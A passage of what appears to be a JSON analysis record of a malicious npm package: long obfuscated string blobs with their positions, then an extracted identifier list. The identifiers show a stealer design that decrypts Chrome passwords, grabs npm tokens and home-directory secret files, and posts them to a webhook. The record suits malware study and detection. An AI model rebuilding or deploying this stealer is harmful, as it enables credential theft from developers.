            "b": "yHH\u003c!B09+BnG-4+BAIRwwN(]qaMv{oaARTHx(mMaB7F^2v}V#Jp!rn(e){a\u00263lQDlay/tcB95KCwNPQ?xI@z.auZ\u0026QCvticaAz4ax(!xpC#wi[B.bSoc$1XWflP66B7F^2v}X8GwQ5qWzddc@Byw)3wPx*SDV:yvA=br5wQL[Dx)KtNgbQ:[efG4MyH}xji%)8MarUxgasIqxvrb\u003c\u003eqE%]4B97\u0026jB-OV*jV%]yfFBQ@clNwvvrb\u003c\u003eqE%]4wmoN*kq3\u003e-ygQ)%B15kU3lQDlarR!CvpK7YxjVcbjS[/Svrb\u003c\u003eqE%]4wmoN*e]LilwN/?6e]t3oc#Qj\u003ej%j+@Aa9l(vp%doe]C9mwHPlzx(4)5AWTm)z!@#[zyETOarR^HarUxgasIhqv@2G",
            "ln": 24392,
            "col": 25,
            "line": 692
          },
          {
            "b": "p^EDwk$svxaz++kBylKV3lQDlaAg+0yHH\u003c!B09Q*Ab](bwPI]BwO#Vzl}HrRuR\u003c3Qof(6pq.Acgy?W#tcOcR]e]t3od03H]j%j]0BAh8jc[cO$w[=76wPxg=z/oD6vqWIQ3lQEt3jm)#A+funA=91DaA.:pA=br5wH[%yvpK7YxjVcbEld^:3jpx/zEW^5z/cXbB.#7]vru0)d0v3ZDKp(rv@DmaBrCJBjS[]2B8U@fBsnH?cN?b1A9C86auZ\u0026CBAh8kxdd.cA=U!-zGEpCtqxFnatCM0as!M?dlwU)wPS6nzxJ)JyhW*7c){R{dlv(+3jpx/zEW^5z/cXgwPQ*Yxk8BeA^pb)A.{gOyHH\u003c!c#-%mpgn0JdiJ%AarUxgasIhAxhh(LwIe4Cve",
            "ln": 24901,
            "col": 48,
            "line": 701
          },
          {
            "b": "B606$xECk[cN*F!DKp(rarUfjzGx[xB7occwGTbUAbf8YvqPNdB8U@fBsnH\u0026cN\u0026mNt@@xoarR!sz/M%Gv@DmaBrCJBz!pa@Aa9\u003c4e]2rszyxBAe[/fuwN]H}c[cX\u0026cOxpQze%bldf",
            "ln": 25220,
            "col": 20,
            "line": 713
          },
          {
            "b": "yIcKRxk8BeA^o8RE0^5Uz!\u0026{4i%(rqay/tcB95KwwPRu6jS[fSvqf*aA+e($B98CFqE%\u0026\u003cwPI@wu[S^LwO#0@wmX+snKEAkAbPS9zGEpCyIcyJzdLeAu[rBtyIcQ+yH}xji%)8Mx\u003ewFozdN/$e]#byBAITEaW4$hgb7y8E0^4WzdN/$e[wyjvjrsCawsg\u003earYWlMMNM2Abf8YvqPO7iV@oJBywY*Byuq7wPRA}azb4@y?mc1c)TdRwPRukB97\u0026jB-R%Wu[1eWA+funA=91ivqH0@j0n}U3lQE3z/fSraz+FdwPI@ojS[PMByu!jvrt{ZcUc}jBs?PyxlbCakq3+XBy/Jni%)8Mv@DmaBrCWlA:\u0026D[y-\u003e\u003e-zdN/$e[wyjvj(.mA=U@kzGw2{twN.\u0026wPI%0kq3FXB96S0Byxi0vqG:w3lQE9w/@GBy*?A%B95KLD(%OOvrb*=y?$KyDMV0gu)3PKOr\u003euzDVi+kpgn0JEl5G*zY/",
            "ln": 26328,
            "col": 41,
            "line": 746
          },
          {
            "b": "c$1euc$EvzaAzQxaMv{oaAIsjAbYx0dpsO^aAz4nB-IvxBAhInj0n}U3lQE3z/fSraAREtl${V:jS[uTe]txmBy/rdq*Am\u003cc#-QpxFa4rx(ktqB1RMKAaAW6c[cX\u0026cUc}jBs!\u003c?dlv\u003eVaARTHaBsCrarR!rCX7w-D2vauu$jt1y-\u003erJw\u003eTs0nfx9xB-.qnA+P\u0026dBzkVhiV{+2vrb}1as8qMyIcQ+yH}yia%n6PDVSXpvQT7?EiG!YaAR4jaB5hPeKHT8bZTSIA71zXEiJ5IaBtkLByY97iV]!?x(EShaBLX23lQDlay/tcB95KzyIc4HAV^H/Aa9\u003c4e]2rszyt",
            "ln": 26948,
            "col": 19,
            "line": 759
          },
          {
            "b": "A=91ivqH0@j0n}U3lQDlay/tcB95KzyewtXxDPCXAa9\u003c4e]2rszyxEtxgcDOefDrVvpK7YxjSYgB8L}zdlv\u003eVarR!pz/fSraAh6rjS)u}pFJJYvrcB2c$WJMA+eV\u0026mRMWIq*Am\u003cc#-]$vruflaszqNw\u0026Id!dlv\u003e",
            "ln": 27312,
            "col": 75,
            "line": 765
          },
          {
            "b": "C}J/Ll2}0OC{)SDe[O*lwPGpHaBsCrarR^Hay/tcB95KszEWH9wmYo]jS[YUe[O*lwPGFvvq)Sbau.[hw?FanAbn@)wHGipfi/#idLrg@fdXj[cN*V*wPhD]v}v5wtRxtibRHX\u003ecNQt(i%)8MarR^Hv@DmaBrCKywObH]A+e=7jS)@Ry?WuaefDrYA:{EFasyYlB95^ni%)8MarR^Hy?mYhByxi5wPQsOAV^H/zGP=ii%)8MarR^Hw]zYjc$vgkB95KzA+e\u00269z!n",
            "ln": 27572,
            "col": 25,
            "line": 775
          },
          {
            "b": "arR!Cvr(WcvpSnEy/1LZxDPCXByxi5wPQsOAV=\u003ePcOG4GB$Eixze-{9e]2CPi%)8MarV7PwO=B0aBsCrarR^HaAg+my\u0026r-)l${V:jS[YLBz9pwz!T8qAbf8Ox(U:EcV-^rx(FfncN?a:",
            "ln": 28051,
            "col": 4,
            "line": 787
          },
          {
            "b": "z/Pz=vruflaszqNw\u0026Id!i%)8MarR^Hv@DmaBrCKhD2dzcwjyoHwO${[wGTbUAa9\u003c4e[emgwO${[wHIIaD2dzcwkV#Pp*[DVdlv\u003eVarR^Hay/tcB95Kzvr(WcvpR=uA=br5wGTbUAa9\u003c4e[wWpzEEx[c#-Quy\u0026r-)qE%Vvvrufii%)8MarR^Hx\u003ewFox\u003eIs4A+dQRzu",
            "ln": 28366,
            "col": 51,
            "line": 795
          },
          {
            "b": "A=br5wHP5JDKp(rarR^HarUfjzGx[xy?W=#B09Q*x\u003eIs4A+dQRzGGDcBs}SNy?W#tcTpKpdk2jDy\u0026\u003clec#p1?j{\u0026zParR^HarR^Ha-5=BzEWH9wmY*gAaa3dz^^fCx(4u#vqPN8asnATa-5=BzEWH9wmY*gAaa3dz^^fAx(X91zdLd6arR^HarR^Hdlv\u003eVarR^HarR!sB1RVSx()]Qx(4uVD2vauzG6DbxkRTdwL=/SxE\u003eoxx(mH6e]2rszyu(qzyl\u003eZi%)8MarR^HEf}8tarV7t3lQDlaAh6FB7ol8AccdNAbP/tx(n0lvqG:5jS(a\u0026z!9A4cM\u003c]ZAaa3dz^^fOwO+gKBz8^EaswpVD)0JKB.8{Z3lQDlazbWECxdztwKZxIwM9\u003e(v\u003c(qhp*[DVefEL-pFJJ-BAh8kxk7$6c#-]Laz#sry+cX:djEs=3lQDlazbWEzeiV@A-mm3v\u003c(q8D2dzcwjgcLefGoZA+e:6A=U@rwJy@QA=\u003e}oEjmk+arR^Hw]/Omz/x$\u003ex(4uVD2vauuTEzVy?mG)zdLmvAa9\u003c4e]2rszyxEtxgcDOefF[uD2dzcwkV#Pp*[DVdjEs=3lQDlazCBgc$WJMwQ4{gBApxazEU7)q:B+!ryfwJlTJFPsZK#\u003er7FC!aBsCrarR^HazbWEv@DsimRMWIq*Am\u003cc@J#fuR\u003c-?oI4PUogq#\u003cp^F5KefF[uBz9pwz!T8qAaa3dz^^fAx(U:EcVBiqy?WxiAaJ(ldjEs=arR^HEe",
            "ln": 28589,
            "col": 86,
            "line": 798
          },
          {
            "b": "B.\u003e\u003eBatLw{i%)8MarV7t3lQDlaz+RhaAhEjy?W%7lV3uRjS[cIAbu.pBZ/f3B7=WFeP(bCA:%39w[+)va%.IQv%]KzeIh0Oxk8BeA^o!(bZTGCxhSqNx(!xpD3{\u003eVeD",
            "ln": 29560,
            "col": 52,
            "line": 824
          },
          {
            "b": "s7#+\u0026c)}ncdjDx^3lQDlarR!CBZ/f3B7^{Twfrx=aswo-eN-d0wPI]nAckSax\u003e5IL3lQDlaBKO7arR^HwQ4=@q*Am\u003cc#:rry?W%7lV3u+aBsCrarR^Hay/RaiV@xSxgcDOefG1Qwnb%yaszbxAaHyFaARsmwP8ZkiV{jjfFCgi3lQDlaBLX23jm)#arTuau)3PKOrC6(BZ/f3B7/b}as8qMyIcyJzdObXbZTAuCueo}EpaG=3lQDlaAz4nB-IvxBAhIni%)8MEin",
            "ln": 29701,
            "col": 23,
            "line": 828
          },
          {
            "b": "zGx[xB97@7A=Jo=az0fDByX%6AV^N?wIe4CwmY!4e{82gBAh8kxdbhKiV]^$i%)8MarUfjzGx[xB97@hB-X-?az0fDByYrjBrA^\u003cwIe4Cwn=Qje{82gBAh8kxdbhKiV]^$i%)8",
            "ln": 29933,
            "col": 7,
            "line": 839
          },
          {
            "b": "y\u0026%o1B0@z8pGgdrdiK1=azb+jy+xBtv@co#wPGmEz/fbrBzkP6aAg+gB9zLywg5/PaBsCrarR^Hawsg\u003earYWlMMNM2Abf8YvqPO7iV{gEk}=2kp-%^\u0026ADL#owN(}yFrRf+v}fC1zGE1mvriMgBZ/f3B7=XnA=l5hv@#B6zxJIdvpB4:wg/01wO2x{vrDWgzd9",
            "ln": 30101,
            "col": 17,
            "line": 842
          },
          {
            "b": "djDx^3lQDlarR!2c$1eu\u0026*=tTbZTGCxhh(LwQMPZg+ZZdmSirRx\u003eg:=zxN}?LPU6^yH}xay***?B0bBAvR/+1xDRn9A=2JiB7]Mgu[1eAarR^HEir9qB7DFdw/@HlB.\u003e\u003eDx(mA%BP",
            "ln": 30335,
            "col": 66,
            "line": 844
          },
          {
            "b": "wHGk-at\u003e\u0026bdsCOMi%)8MarV7tarR^HA+funA=91ivqH0@i%)8MEircozEEu$C{4CvarR^HBAhTHDMV{we]\u003e/cD2vauBzU$+x(U:EDMWuuv%8*kx)a5GaARTDwH[%oz/Pu0iV@J+B.8XzdlwV2ay!\u00264v}W0iEf}8tEf$xf3s!0(B95K3sX}W%qBK8Eq=DT$auZ\u0026^A=kD0B8@%BzGWTesX}W%qBK8Eq=DT$aBFLVcUNQzA5]T9AcVzpB7GxnwPx*\u003efGp^mi%]FozGx[xp*4c[nMeO}q=#\u003c.arS/\u0026Ab](bwPI]BwO#Vzp*4c[nMeO}q=#\u003c.ar-)hasy=fy\u0026:eni%(sbB-7Yhx(v(iw[=c[p\u003cE1]rbVL-zyu}RDKp(rx\u003ewFoAb](bwPI]BwO#Vzr98T^mpe\u003eSq=u:[qBz@RDKp(rarUYoBAIRwaBsCrarR^HaAIEzA:@Vwasy-rB#\u0026P7nLRYYp^F2Us5hZZcObPEarR^HaARKqwO%KKAb](bwPI]BwO#Vzr98T^mpe\u003eSq=u:[qBA5yarR^HarU/FwPzV%zdL:JAb](bwPI]BwO#Vzr98T^mpc",
            "ln": 30744,
            "col": 39,
            "line": 851
          },
          {
            "b": "zEl-#ed9HxarR^HarV7]3lQDlarR!P3lQDlaBKOtaBLwxvru0)aBwIz3lQEiwPS6nzxJ?ty?#fuEf{r[B-7Yhx(v(ixjU%(A::63p\u0026{wEvr(WcvpQ=naBsC5arUYoBAIRwayF]2AbP=saA8rLaAI*HefFXGz/d9GB-Iqmx\u003c@YnwPq\u003c7B95@QB8LM7wPPECAbn%8w]zZb3sw0\u0026uUK3[jS[tXp*3Q^eL]zqeQIhHBspH6x(d*cA=+U}c)%aJzdL7ze{7/AwHF#REiG2uA^oXMarR^HuT[a/woe\u003eRaBv(+aA!(tz/M$oefG9Ux(k5iB1R3wC4\u003e#nzz2TBwO(GpdiJtpayPekc#ZqyzxJZEB-qqhAWSvVw]zYjA3e\u003ejax{i)pFjbKcOcSzmmf%wr3%jAogq#hegjmWq=u:[qBz(-cQQ^2l}6\u003cInKl2$egi.+q^Q[6cQy{oqBK}uegi}Pp*UO3cR3%dm[=uUcOcSkk#Zcpk#Qi1egjs:l}Hr8egjE:rzlvtegjj\u0026mnucucOcShpe\u003c+ZpF:RIcOcSzr8Mp:mjfSlq:\u003cCHm]z]DcOcSAs4M7SpBvXvq=MTWlp1KscOcSmnM4#zk#Qi1egi$SqCP}=cOcSCmn=GwoEzwsq:\u003cCXqDUv#cQZm1k$1HscOcSumorwQoI4P0egjmWm[3rzrA99Gegjv\u0026k%[o)egi?YlRx\u003cCcOcSup!+p@pFjbKcOcSnnMnkXlsh8\u003ecR3:coHh0LcTwfH3lQDlayxhnB09Q*DM)cwB98qdzdK[LaAIEhyH}PuxjVf#z/Z2rvqPN7dj=O=Abn%8w]zZbb03\u0026=y*?A$z/PXEAbn%8w]zZbc[cX\u0026b6v%rAW0K!z/WKzwPRH3B%[Lmq:\u003cOdefWq5dj=O=AcVLsz/c:WaAI*He{p/DB7]Mge]$#Fx(\u003e:Ltqftlar\u003ertwfK5Sz/WKzwPRBawge)P3lQDlayw-4auZ\u0026]Ef}8tarUomAV!.3efFqoazCZotppWFAcVzpA:{pAb5?*Dx(WYcdj=\u003e\u003ee[5%BfjP3lwmYU2x\u003c\u003e?0a$K{DCxj@SegqX{vrV=Cv@Dl%x\u003eFRvb4kXpuT[1(w[+)4dj=\u003e\u003ee]CSBA:{pAb5RvpA:{pxegqX{zE){gv\u003ciDFzE){gv\u003ciuMc)yoVBZ!]nv@Dl%x\u003eFRvb5qsgwN/T@w[+)4dj=\u003e\u003ee{pVCy\u0026?mJz!\u0026{4a$K{YvrDyda$k5\u003ea$^$GA=LP2z/PXEwg}CkwN]v\u0026Bzkf1B1RMDA:{.pB8L}uefYgEA=LP2z/PXsdj=\u003e\u003ee[w)gyH}Jtv@Dl%x\u003eG5kB8L}uefXRyv@2T@a$k5\u003ea$^IxBs?0ywN]v\u0026Bzkf1B0rdVxk8D{v@=c\u003eB0r4:c)yoNz/ff3xd)[hfkboBBAo6WzepyEb4\u003eN@v@b\u003c6dj=\u003e\u003ee]UDxvrlGlefY4CAa9*ea$k5\u003ea$^.Te[n^ha$K{PD2)$wa$l!U3lQDlarR^Hayx7gjS[V:e]UlvxF9\u003evAa9S{B-Rbmc$TVLfmd5rEiH9EarR^HarR^Hx\u003ewGaB1RAuBz9prCXIkvB0$ymdlm!UarR^HarR^HarR!GA^oX*uUjv-uU\u003c0\u003cjS[VZwO@]6A49zWwNP9$dgdguarR^HarR^HarUluv}xR3iV}^wB6A0/t{8oMb1kQ9q=DWt3lQDlazbLjaywX5x(k4$a$^CAB%nEYe[F{ze]kDovqEbsa$^CAB$N-Oz!a02BzkVha$K]\u003cwO#VzB97\u00266x(mMcefVYTzGWTywP?T3z/xM8zGE7diTM#LarR^HarU3gauZ\u0026=B1RAuBz9pwz!T8qz/WKzwPRBawge(TaywXe3lQDlarR^HazCBgz/WKIvrufnwQ4{gBAn\u003cqA49*ParR^HarR^HarR^HBAhT/ayw-4tv]6\u0026z//MdB#\u003c$SwQL+dauZ\u0026=AaJ]nuVmCDA+eV\u0026c[bGCarR^HarR^HarR!rCW\u003er7BugK-vrlF%arR^HBAhT/3lQDlarR^HazCXiz/P}xxkzG}3lQDlarR^HazbLjayw[bx(k5ay\u0026r=nxkzG}c#TeVAa9\u003c4e[GoDvqYQ#B7Gwub7qf$B8#1Fx\u003egN2a$j%43lQDlarR^HarR^Hayx1ejS[V:e]UlvxF9+5B7Gk$zdLb5yBGPkarR^HarR^HarR!GA^oX*uUjv-w*hqqxGyGEzHAZmauZ\u0026=AaJ]nuU.8yA+eV\u0026c[bGCarR^HarR^HarR!rCW\u003er7BugKKw]?f*b6d*si^UjKEiI@tjS\u003e}qsv(B\u003cqZ8L\u003earR!rCW\u003er7BugK-vrlF%arR^HuUay{wmYT*wGTbUDM)JxB8#5lzEm9*b03\u0026NCv$n%wgO\u0026EBA}?pb03?\u003cAcVzpePt/BeOffsx(1$Aar\u003e(LB97#gb03\u0026NB9R*Tar\u003erowN]v\u0026Bzkf1B0p",
            "ln": 31703,
            "col": 58,
            "line": 881
          },
          {
            "b": "wofpAb4+L9wPJcrBy/q@B7F\u003c4wPR#qiV}^wBa1xrarR!lwo8QcuV*y9auZ?\u003exMOunB2\u003e%cBy/o1zdN*fC}JJAx!sguzFsihAXp\u003cuz7*5!fjY9wA3tSiarR!lwmoN*auZ\u0026ZB8L}Gwoz:dB0$ybC4\u003eF#zEWlbe[F{gz!9AcdgdguarU3iwPn?QaA.Zvy?WuhA+flkwPI@CqE%\u0026\u003cwPI@wuU1g}A9):dy+cYtvrt{vuU0O!vjSKmwNPaXA=Tx\u003cb13o^By/uieMv1mwG\u003ceVvq{g4x\u003e7N[x(v(xyiarha$K{ueMlk4B7]MgeLetOi:W8zuUK50dgdguarU/Ey\u00260/{e]\u003eJyB.bSoe{hhJz/xo9c%}1aAv-kOx(dB1B-Y=7dgfThv}xR3iV@xIB8}W@i%{xy3taA#v@#B6zxJO6zE)\u0026%By!xZBAIL0C{)SExhh(LwH[%EwPz\u003caz/d0DDKp(rA+funA=91cw].*baAIaoB-qCvz!%Fqx(d*cA=-BBwPS6l3uG^2B-n:DvqPNsa%.IOyIcyJzdObtefGaEA=U@kzAPf?DV\u0026$vB7]MgEiHi+AcU/cz!a0bwPH1sa%.IOyIcyJzdLtuwPhD]v}v5weIy-/asyIzdsAyCdgfDA3vJl*w{503BzkVhazkn6wPzj3wLE8NB.\u003eR=C{)SExhh(LwH[%EwPz\u003caz/d0DDKp(rA+funA=91ca%FiRDVi+kpgn0JEirXUDV\u0026%",
            "ln": 33603,
            "col": 101,
            "line": 915
          },
          {
            "b": "BAhTHDKp(rarUJjByupPayPF5x(\u003eFnwP]m[A=k/eB7D:FA+frgy\u003c6wvaAz4dwN/*hau.[hDKp(rarR^HBAg/cB8V5rBs}iqBspJxDR^\u003cwnNCv:m[DSUqDXA3bZTGCxhh(LwQMjDB8L@7efF$AB09RfaBsCrarR^HarR!ywPP59auZ?{cP.UTarR^HarR!EwPGFxzyu(yvrt{9efFBBjW700as/O$v\u003c%FDarR^HarR^HA+fqAz/c%JwO#3aefDt\u0026au.[hDKp(rarR^HarR^HBAhTHDMWuuB8L(rwHHeHpFJJYvrcB2c$B+Q",
            "ln": 34453,
            "col": 3,
            "line": 943
          },
          {
            "b": "fj#*UcTOkIi%(rqarR!sB1RVSx()]Qx(4uVD2vauAa9\u003c4e]2rszyxQzA71zXefDrYwPS6le]V7-dj=POwO#71vru6VwPS6lp\u003cBEdyIcyJzdLmvzE[2)wPz\u003caz/d0Mi%)8MarUoqe{ztIBy^{Qy?lK\u003czEU8lve",
            "ln": 35350,
            "col": 39,
            "line": 972
          },
          {
            "b": "dj=PHx(mA%B.25abZTxDwklMIwQN{1zFshBAcb+#zEs[P3jm)#arUfjzGx[xB7GDoA93:}xI-!:auZ\u0026Pw].*baAIaoB-qCvz!%Fqx(d*cA=-BBwPS6l3tar%z6i[hBAILAz/oDke[n*pzddr)e[]iAByx04azCXiz/P}xx(n0lvqG-!x(d*cA=-BxB1wCPxMXAhy+cYIx()[[3s^)XB8@E2z/Z1(zGx]dy?$IlzGx]dy?$KY3lQDlay]4}aAzQxd05%ow*]+FarR^HarR^Hx(n0lvqG:jA=(mFB7Gf1dgdguarR^HarR)KlVl{?atdRPxDQ]3y?j-hzY\u003canBy^4yvpK7YxjVcbc$NTmv%8)8B0bysaz2.cA^n^7D30.rzxK1xvrcDs3lQDlarR^HaAINkauZ\u0026=B1RAu",
            "ln": 35689,
            "col": 53,
            "line": 979
          },
          {
            "b": "x(ktqB1RAuBz9pqx(X91zdLb5uUj1*wNw^[efDbZDU)Xipgn0JEp3Yax(\u003e$DBz8\u003cE3lQDlarR^HazCBgz/WKIvrufnwQ4{gBAn\u003cKA:{KV3lQDlarR^HarR^HazbLjaAIGAx(k5mx()]sxjVgax(){9vpK7YxjVcjdlm!UarR^HarR^HarR^HarR!GA^oX*B7/Yrx(2ziz/x$Sd06AsefG1MdgdguarR^HarR^HarR^HarUluv}xR3iV@xIB8}V}B7GDoA3#5oarR!AvqPNsa%.IOyIcyJzdObted9HxarU\u0026sA=U@kzAPf?DV0zsr+lq)x(v)qa$K6zarR!CD0+AbwozZ1B3i.KbZTxDwklMIwQL+ded9HxarUi6BywJ*x(4v4jZfrUe*q??toUttzeS@WvqPO7uUKy(Bs}JOxD*.ht}us9arR!pzdEc)vrlGMDM)fwB97\u0026by:7[.p\u0026yz%nP5P\u003evqG+ded9*ku][YrarR!sB1RVSx()]Qx(4uVD2vauAa9\u003c4e]2rszyxQzA71zXefDrYwPS6le]V7-dj=P.wPS6ls7#+\u0026p\u0026{w1i%(rqarR!2c$1euttPPwnNiD9B.LV5x(mMaB7x0aBs]f#u[1eAarR^",
            "ln": 36026,
            "col": 25,
            "line": 989
          },
          {
            "b": "arR^HarU5zeP(bCA=br5wGSfxDVjmHx\u0026Pj=A^YbOeIg{IB8#LzA+3ppbZTGQAa@o\u0026yH}yia%pnod*^ywarR^Hu)ob}B965XDT{\u0026iBvG$XwQL:BeIg\u003cUzy]NuBy/G3v@#BdwGS-(cnuS\u003cD(#/td*^ywarR^Hu#P?0azC.mByx04aAR*wzE\u003c}Cj$*CTB$W-Qy?$jvclNnMBzbPggAXn^aAR*wzE\u003c@kAboD3wfrDQA+fidB7]-mA^olVA+(\u003cxbZSu\u003cp!t1(mmP{Fr8M\u003eEa%pnod*^ywarR^Hu[A%MB7GxfvqPM#a%.IOD2NE$B7Gxua%nD?Aa9*eCw?Ij",
            "ln": 36947,
            "col": 1,
            "line": 1016
          },
          {
            "b": "arT(+C#d7raMw]Paw^h\u0026y?W%7wN(]eDVi+kpgn0JElY68zE[2)wPz\u003caz/f$CCwhejas8qJz!8QKzdOc5x(mTbe]U]Cu[1eAarR^HoEKo\u003eax}V/p!s}narSpQBz8!ovr(WcvpQH3B-8myz/cW^rZ/[?aszbNBzbPgcM)bvC5H(0BzkVhu[1eAarR^H",
            "ln": 37350,
            "col": 8,
            "line": 1024
          },
          {
            "b": "v}W0iEf}8tEf$xf3sO13zET/3B-7Yhx(v(izddc@c[co=3lQD+c$3m#yIc]}\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKyfI03lQD+c$3m#yIc]}p*)\u003cHvp%c]wncabA+P09BzkVhaAI*Cv{*-E3lQD+c$3m#yIc]}l}HrRuSg95lP(Ywl@Ee{qDlEmkoIs:x(^Y(y?mc8auyR)vpKy[B]",
            "ln": 37676,
            "col": 69,
            "line": 1032
          },
          {
            "b": "p\u003c(.2i%)8MoEKpMAbf8(aw#=-x(!xpC@^5[DS0p5nMeO^s::Wbi%)8MoEKpMAbf8(av{A(BugJ\u0026DV9%TxM4%lzEEx[c[fM!fczJ!z/WKNB7Gw-zF0/ndk2::wPzV%zdOc6dlv\u003eVawsg\u003etx1v\u003ct{ec(KM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM3",
            "ln": 38024,
            "col": 116,
            "line": 1039
          },
          {
            "b": "k%[phm[3u9aBsCrarR^HaAhQBx\u00265kFyHH\u003c!B09Q*Ab](bwPI]BwO#Vzp*4c[nMeO}p^EDwk$svxe]$#Fx(\u003e:Jegh(0zddxiB09RfaAGeSA+PwsdjD(Yx(4)5AWTm)z!@#[zyETOarR^HEf{r7arR!2c$3m[zFshNhEc",
            "ln": 40143,
            "col": 30,
            "line": 1093
          },
          {
            "b": "ayPF5x(\u003eFeCXgVac#@)rz/P}Gi%(rqawsg\u003etY9++yIc]}l#M%Oe){a\u00263vJl*B7GC)x(dB1B-Y2WdiH=qaBsCraz\u003eL3zyu}varR^He[nsiv}Wo4au.[hDMW3masHnVqBjeTmjxu?z/fSmy?kkgA=M8sc)@kryIc{2efFHRzdN^fvp%d2j0n@23lQDlatdnuzEA",
            "ln": 41338,
            "col": 2,
            "line": 1132
          },
          {
            "b": "v}x.5e[GowBsn*(dlv(+efDY4fEY6\u003c3uG^2rb3hXz/{dIc[co4j%j/+z!0v1B1R3Gx(\u003e:Sdj=O#h83Zrdk2:XA+e\u0026hdlv\u003e",
            "ln": 41505,
            "col": 23,
            "line": 1140
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "https"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "http"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "crypto"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "os"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "fs"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "path"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "process.env._PKG_INIT"
            ],
            [
              "",
              "SESSION_ID"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "Math.random.toString.slice"
            ],
            [
              "",
              "Math.random.toString"
            ],
            [
              "",
              "Math.random"
            ],
            [
              "",
              "WEBHOOK_URL"
            ],
            [
              "",
              "WEBHOOK_KEY"
            ],
            [
              "",
              "REGISTRY"
            ],
            [
              "",
              "DRY_RUN"
            ],
            [
              "",
              "MAX_PROP_RAW"
            ],
            [
              "",
              "MAX_PROP"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "VERBOSE"
            ],
            [
              "",
              "RSA_PUBLIC_KEY_PATH"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "log"
            ],
            [
              "",
              "log.push"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "prefix"
            ],
            [
              "",
              "encryptedData.slice.toString"
            ],
            [
              "",
              "encryptedData.slice"
            ],
            [
              "",
              "encryptedData.toString"
            ],
            [
              "",
              "password"
            ],
            [
              "",
              "salt"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "iterations"
            ],
            [
              "",
              "keylen"
            ],
            [
              "",
              "key"
            ],
            [
              "",
              "crypto.pbkdf2Sync"
            ],
            [
              "",
              "iv"
            ],
            [
              "",
              "encryptedData.slice"
            ],
            [
              "",
              "ciphertext"
            ],
            [
              "",
              "encryptedData.slice"
            ],
            [
              "",
              "decipher"
            ],
            [
              "",
              "crypto.createDecipheriv"
            ],
            [
              "",
              "decrypted"
            ],
            [
              "",
              "decipher.update"
            ],
            [
              "",
              "decrypted"
            ],
            [
              "",
              "Buffer.concat"
            ],
            [
              "",
              "decipher.final"
            ],
            [
              "",
              "paddingLength"
            ],
            [
              "",
              "decrypted"
            ],
            [
              "",
              "decrypted.slice"
            ],
            [
              "",
              "decrypted.toString"
            ],
            [
              "",
              "passwords"
            ],
            [
              "",
              "tempDb"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "os.tmpdir"
            ],
            [
              "",
              "Date.now"
            ],
            [
              "",
              "fs.copyFileSync"
            ],
            [
              "",
              "result"
            ],
            [
              "",
              "execSync"
            ],
            [
              "",
              "fs.unlinkSync"
            ],
            [
              "",
              "lines"
            ],
            [
              "",
              "result.toString.trim.split"
            ],
            [
              "",
              "result.toString.trim"
            ],
            [
              "",
              "result.toString"
            ],
            [
              "",
              "parts"
            ],
            [
              "",
              "line.split"
            ],
            [
              "",
              "url"
            ],
            [
              "",
              "username"
            ],
            [
              "",
              "encryptedPass"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "decryptedPass"
            ],
            [
              "",
              "decryptChromePassword"
            ],
            [
              "",
              "passwords.push"
            ],
            [
              "",
              "url.substring"
            ],
            [
              "",
              "username.substring"
            ],
            [
              "",
              "fs.unlinkSync"
            ],
            [
              "",
              "sensitivePatterns"
            ],
            [
              "",
              "credentials"
            ],
            [
              "",
              "Object.entries"
            ],
            [
              "",
              "sensitivePatterns.some"
            ],
            [
              "",
              "p.test"
            ],
            [
              "",
              "credentials.k"
            ],
            [
              "",
              "fsSecrets"
            ],
            [
              "",
              "home"
            ],
            [
              "",
              "os.homedir"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "fsSecrets.label"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "fs.existsSync"
            ],
            [
              "",
              "files"
            ],
            [
              "",
              "fs.readdirSync.filter"
            ],
            [
              "",
              "fs.readdirSync"
            ],
            [
              "",
              "fsSecrets.label"
            ],
            [
              "",
              "files.map"
            ],
            [
              "",
              "fs.readFileSync"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "process.cwd"
            ],
            [
              "",
              "c.match"
            ],
            [
              "",
              "fsSecrets.npm_token"
            ],
            [
              "",
              "grabDir"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "f.startsWith"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
              "",
              "grab"
            ],
            [
              "",
              "path.join"
            ],
            [
